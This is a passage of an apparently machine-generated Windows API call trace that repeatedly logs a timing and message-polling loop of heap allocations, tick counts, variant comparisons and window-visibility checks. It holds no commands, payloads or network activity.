pvarResult=0x18ed2c) returned 0x0 [0180.687] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.687] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.687] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.688] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.688] GetTickCount () returned 0x115dd45 [0180.688] GetTickCount () returned 0x115dd45 [0180.688] CoFreeUnusedLibraries () [0180.688] GetTickCount () returned 0x115dd55 [0180.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.688] GetTickCount () returned 0x115dd55 [0180.688] IsWindowVisible (hWnd=0x30268) returned 0 [0180.688] IsWindowVisible (hWnd=0x40298) returned 0 [0180.688] Sleep (dwMilliseconds=0x0) [0180.688] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.688] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.688] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.688] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.688] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.689] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.689] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.689] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.689] GetTickCount () returned 0x115dd55 [0180.689] GetTickCount () returned 0x115dd55 [0180.689] CoFreeUnusedLibraries () [0180.689] GetTickCount () returned 0x115dd55 [0180.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.689] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.689] GetTickCount () returned 0x115dd55 [0180.689] IsWindowVisible (hWnd=0x30268) returned 0 [0180.689] IsWindowVisible (hWnd=0x40298) returned 0 [0180.689] Sleep (dwMilliseconds=0x0) [0180.689] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.689] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.689] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.689] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.689] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.690] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.690] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.690] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.690] GetTickCount () returned 0x115dd55 [0180.690] GetTickCount () returned 0x115dd55 [0180.690] CoFreeUnusedLibraries () [0180.690] GetTickCount () returned 0x115dd55 [0180.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.690] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.690] GetTickCount () returned 0x115dd55 [0180.690] IsWindowVisible (hWnd=0x30268) returned 0 [0180.690] IsWindowVisible (hWnd=0x40298) returned 0 [0180.690] Sleep (dwMilliseconds=0x0) [0180.690] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.690] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.690] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.691] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.691] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.691] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.691] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.691] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.691] GetTickCount () returned 0x115dd55 [0180.691] GetTickCount () returned 0x115dd55 [0180.691] CoFreeUnusedLibraries () [0180.691] GetTickCount () returned 0x115dd55 [0180.691] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.691] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.691] GetTickCount () returned 0x115dd55 [0180.691] IsWindowVisible (hWnd=0x30268) returned 0 [0180.691] IsWindowVisible (hWnd=0x40298) returned 0 [0180.691] Sleep (dwMilliseconds=0x0) [0180.691] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.692] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.692] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.692] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.692] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.692] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.692] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.692] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.692] GetTickCount () returned 0x115dd55 [0180.692] GetTickCount () returned 0x115dd55 [0180.692] CoFreeUnusedLibraries () [0180.692] GetTickCount () returned 0x115dd55 [0180.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.692] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.692] GetTickCount () returned 0x115dd55 [0180.692] IsWindowVisible (hWnd=0x30268) returned 0 [0180.692] IsWindowVisible (hWnd=0x40298) returned 0 [0180.693] Sleep (dwMilliseconds=0x0) [0180.693] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.693] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.693] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.693] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.693] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.693] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.693] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.693] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.693] GetTickCount () returned 0x115dd55 [0180.693] GetTickCount () returned 0x115dd55 [0180.693] CoFreeUnusedLibraries () [0180.693] GetTickCount () returned 0x115dd55 [0180.693] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.693] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.693] GetTickCount () returned 0x115dd55 [0180.694] IsWindowVisible (hWnd=0x30268) returned 0 [0180.694] IsWindowVisible (hWnd=0x40298) returned 0 [0180.694] Sleep (dwMilliseconds=0x0) [0180.694] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.694] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.694] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.694] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.694] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.694] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.694] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.694] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.694] GetTickCount () returned 0x115dd55 [0180.694] GetTickCount () returned 0x115dd55 [0180.694] CoFreeUnusedLibraries () [0180.694] GetTickCount () returned 0x115dd55 [0180.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.694] GetTickCount () returned 0x115dd55 [0180.695] IsWindowVisible (hWnd=0x30268) returned 0 [0180.695] IsWindowVisible (hWnd=0x40298) returned 0 [0180.695] Sleep (dwMilliseconds=0x0) [0180.695] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.695] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.695] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.695] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.695] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.695] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.695] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.695] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.695] GetTickCount () returned 0x115dd55 [0180.695] GetTickCount () returned 0x115dd55 [0180.695] CoFreeUnusedLibraries () [0180.695] GetTickCount () returned 0x115dd55 [0180.695] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.695] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.695] GetTickCount () returned 0x115dd55 [0180.696] IsWindowVisible (hWnd=0x30268) returned 0 [0180.696] IsWindowVisible (hWnd=0x40298) returned 0 [0180.696] Sleep (dwMilliseconds=0x0) [0180.696] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.696] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.696] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.696] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.696] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.696] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.696] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.696] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.696] GetTickCount () returned 0x115dd55 [0180.696] GetTickCount () returned 0x115dd55 [0180.696] CoFreeUnusedLibraries () [0180.696] GetTickCount () returned 0x115dd55 [0180.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.697] GetTickCount () returned 0x115dd55 [0180.697] IsWindowVisible (hWnd=0x30268) returned 0 [0180.697] IsWindowVisible (hWnd=0x40298) returned 0 [0180.697] Sleep (dwMilliseconds=0x0) [0180.697] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.697] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.697] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.697] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.697] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.697] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.697] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.697] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.697] GetTickCount () returned 0x115dd55 [0180.697] GetTickCount () returned 0x115dd55 [0180.698] CoFreeUnusedLibraries () [0180.698] GetTickCount () returned 0x115dd55 [0180.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.698] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.698] GetTickCount () returned 0x115dd55 [0180.698] IsWindowVisible (hWnd=0x30268) returned 0 [0180.698] IsWindowVisible (hWnd=0x40298) returned 0 [0180.698] Sleep (dwMilliseconds=0x0) [0180.698] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.698] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.698] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.698] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.698] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.698] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.698] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.698] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.699] GetTickCount () returned 0x115dd55 [0180.699] GetTickCount () returned 0x115dd55 [0180.699] CoFreeUnusedLibraries () [0180.699] GetTickCount () returned 0x115dd55 [0180.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.699] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.699] GetTickCount () returned 0x115dd55 [0180.699] IsWindowVisible (hWnd=0x30268) returned 0 [0180.699] IsWindowVisible (hWnd=0x40298) returned 0 [0180.699] Sleep (dwMilliseconds=0x0) [0180.699] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.699] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.699] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.699] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.699] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.700] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.700] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.700] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.700] GetTickCount () returned 0x115dd55 [0180.700] GetTickCount () returned 0x115dd55 [0180.700] CoFreeUnusedLibraries () [0180.700] GetTickCount () returned 0x115dd55 [0180.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.700] GetTickCount () returned 0x115dd55 [0180.700] IsWindowVisible (hWnd=0x30268) returned 0 [0180.700] IsWindowVisible (hWnd=0x40298) returned 0 [0180.700] Sleep (dwMilliseconds=0x0) [0180.700] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.700] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.700] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.700] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.700] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.701] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.701] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.701] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.701] GetTickCount () returned 0x115dd55 [0180.701] GetTickCount () returned 0x115dd55 [0180.701] CoFreeUnusedLibraries () [0180.701] GetTickCount () returned 0x115dd55 [0180.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.701] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.701] GetTickCount () returned 0x115dd55 [0180.701] IsWindowVisible (hWnd=0x30268) returned 0 [0180.701] IsWindowVisible (hWnd=0x40298) returned 0 [0180.701] Sleep (dwMilliseconds=0x0) [0180.701] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.701] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.701] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.701] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.702] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.702] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.702] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.702] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.702] GetTickCount () returned 0x115dd55 [0180.702] GetTickCount () returned 0x115dd55 [0180.702] CoFreeUnusedLibraries () [0180.702] GetTickCount () returned 0x115dd55 [0180.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.702] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.702] GetTickCount () returned 0x115dd55 [0180.702] IsWindowVisible (hWnd=0x30268) returned 0 [0180.702] IsWindowVisible (hWnd=0x40298) returned 0 [0180.702] Sleep (dwMilliseconds=0x0) [0180.702] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x221)) [0180.703] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.703] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.703] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.703] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.703] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.703] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.703] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.703] GetTickCount () returned 0x115dd55 [0180.703] GetTickCount () returned 0x115dd55 [0180.703] CoFreeUnusedLibraries () [0180.703] GetTickCount () returned 0x115dd55 [0180.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.703] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.703] GetTickCount () returned 0x115dd55 [0180.704] IsWindowVisible (hWnd=0x30268) returned 0 [0180.704] IsWindowVisible (hWnd=0x40298) returned 0 [0180.704] Sleep (dwMilliseconds=0x0) [0180.704] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x231)) [0180.704] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, 